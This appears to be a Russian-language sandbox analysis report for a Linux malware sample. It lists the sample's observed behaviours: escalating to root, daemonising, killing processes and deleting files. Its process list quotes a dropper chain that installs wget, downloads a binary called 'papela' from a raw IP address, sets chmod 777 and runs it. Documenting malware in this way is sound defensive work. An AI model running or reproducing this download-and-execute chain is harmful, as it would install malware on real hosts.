Техническая информация
Вредоносные функции:
Получает привилегии суперпользователя (root)
Запускает себя в качестве демона
Выполняет трассировку процессов:
- <SAMPLE>
- <SAMPLE_FULL_PATH>
- /usr"/papela
- /usr/papela
Запускает процессы:
- /bin/bash <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
- <SAMPLE_FULL_PATH>
- /bin/bash <SAMPLE_FULL_PATH> -c
- rm -r papela
- clear
- apt-get -y install wget
- /usr/bin/dpkg --print-foreign-architectures
- /usr/lib/apt/methods/http
- sleep 3
- wget -q http://145.239.212.1/dos/yol/diz/sur/aurora/papela
- chmod 777 papela
- su -c ./papela
- bash -c ./papela
- ./papela
- /bin/bash ./papela -c exec './papela' \"$@\" ./papela
- /bin/bash ./papela -c
- rm -r aurorakur aurorayon tscs ckaur
- sleep 0.3
Завершает следующие процессы:
- <SAMPLE>
- <SAMPLE_FULL_PATH>
- /usr/lib/apt/methods/http
- /usr"/papela
- /usr/papela
Выполняет операции с файловой системой:
Модифицирует права доступа к файлам:
- /usr/papela
Создает или модифицирует файлы:
- /var/lib/dpkg/lock
- /var/cache/apt/archives/lock
- /usr"/papela
- /usr/papela
Удаляет файлы:
- /usr"/papela"
- /usr"/aurorakur"
- /usr"/aurorayon"
- /usr"/tscs"
- /usr"/ckaur"
Сетевая активность:
Устанавливает соединение:
- <LOCAL_DNS_SERVER>
HTTP GET-запросы:
- ft#.##.######.######bian/pool/main/w/wget/wget_1.16-1%2bdeb8u1_amd64.deb
- 14#.###.###.1/dos/yol/diz/sur/aurora/papela
DNS ASK:
- ft#.##.debian.org
Прочее:
Собирает информацию об оперативной памяти
